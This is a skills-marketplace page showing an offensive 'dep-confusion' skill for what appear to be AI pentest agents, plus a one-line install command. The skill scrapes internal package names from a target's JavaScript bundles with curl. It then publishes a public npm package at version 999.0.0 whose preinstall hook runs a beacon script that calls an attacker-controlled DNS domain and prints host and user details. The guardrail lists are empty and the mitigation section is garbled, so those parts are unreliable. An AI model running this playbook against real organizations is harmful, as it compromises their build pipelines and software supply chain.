메뉴
Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/PurpleAILAB/Decepticon --skill dep-confusion명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
7-question gate run before promoting a finding to FINDING + opening a report. Kills weak/non-impactful findings before they reach the report stage and damage validity ratio.
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
Mandatory first-turn startup procedure — checks for existing engagements, resume/new selection, workspace initialization.
SOC 직업 분류 기준
| name | dep-confusion |
| description | Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code. |
| metadata | {"when_to_use":"dependency confusion npm pypi maven internal package private registry","mitre_attack":"T1195.002","subdomain":"supplychain","upstream_ref":"skills/_corpus/payloads/Dependency Confusion/"} |
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
| Source | Pattern |
|---|---|
package.json in public repo | "@target/foo" scoped packages |
package.json exfiltrated from web (/static/) | dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure | target-internal-lib |
pom.xml / build.gradle | <groupId>com.target</groupId> |
| Github org code search |
@scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
npm publish --access public
# For org scopes, may need to register the @scope first
Within hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
DO NOT:
DO:
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
.npmrc @target:registry=https://internal-npm.target.com/package-lock.json w/ integrity field)pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages@org scope and publish a public empty placeholder w/ private fieldskills/_corpus/payloads/Dependency Confusion/